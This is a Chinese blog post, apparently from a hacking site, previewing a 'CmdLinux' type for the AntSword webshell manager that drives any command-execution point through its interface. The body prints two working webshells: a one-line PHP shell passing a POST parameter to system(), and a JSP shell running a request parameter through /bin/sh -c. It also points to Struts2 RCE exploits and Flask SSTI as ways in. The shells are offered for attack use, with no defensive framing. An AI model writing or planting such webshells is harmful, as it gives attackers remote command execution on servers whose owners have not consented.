统计
  • 建站日期:2021-03-15
  • 文章总数:63 篇
  • 评论总数:51 条
  • 分类总数:14 个
  • 最后更新:2021年12月29日

AntSword新类型 CmdLinux 预览

本文阅读 2 分钟
广告

写在前面

平时见到的 Exp 大家都喜欢直接发命令执行的 Exp (没错我说的就是 struts2 全家桶)。一直以来,有个想法,能不能图形化管理命令执行的WebShell,于是他来了。

正文

比如我们有这么一个 PHP 的 Shell:

<?php system($_POST['ant']);?>

或者是这样一个再普通不过的 JSP WebShell:

<%
  if(request.getParameter("cmd")!=null){
    java.io.InputStream in = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",request.getParameter("cmd")}).getInputStream();
    int a = -1;
    byte[] b = new byte[1];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
      out.print(new String(b));
    }
    out.print("</pre>");
  }
%>

这里得提一嘴, JSP 下用 Runtime.exec 方法时,如果是直接传 Stirng 进去,只能执行一条命令,后面的内容都会当作参数来处理,所以我们在这里使用的是数组。并且在读取命令执行结果时,用 byte 数组的形式的话,得注意内容覆写的问题,别问我为什么这个 WebShell 是这么低效率的,我就是随便找了一个.

再或者是 Struts2 RCE 的 EXP, 或者是 Flask SSTI...

只要有一个可以执行命令的点, 就可以快乐起来 :)

上演示

写在最后

想要尝鲜的小伙伴可以切换到 v2.1.x 开发分支体验,欢迎大家反馈 Bug,正式版将在下个月也可能是下下个月发布,如果到时候能把 Windows 下的也解决了就一起发布了。

本文来自投稿,不代表本站立场,如若转载,请注明出处:https://www.cnhacker.cc/web_security/369.html
-- 展开阅读全文 --
emlog和typecho文章采集插件 简数数据采集
« 上一篇 06-27
Metinfo CMS米拓建站系统1day代码审计与利用
下一篇 » 06-29
广告

发表评论

成为第一个评论的人

作者信息

广告

动态快讯

热门文章

广告

标签TAG

热评文章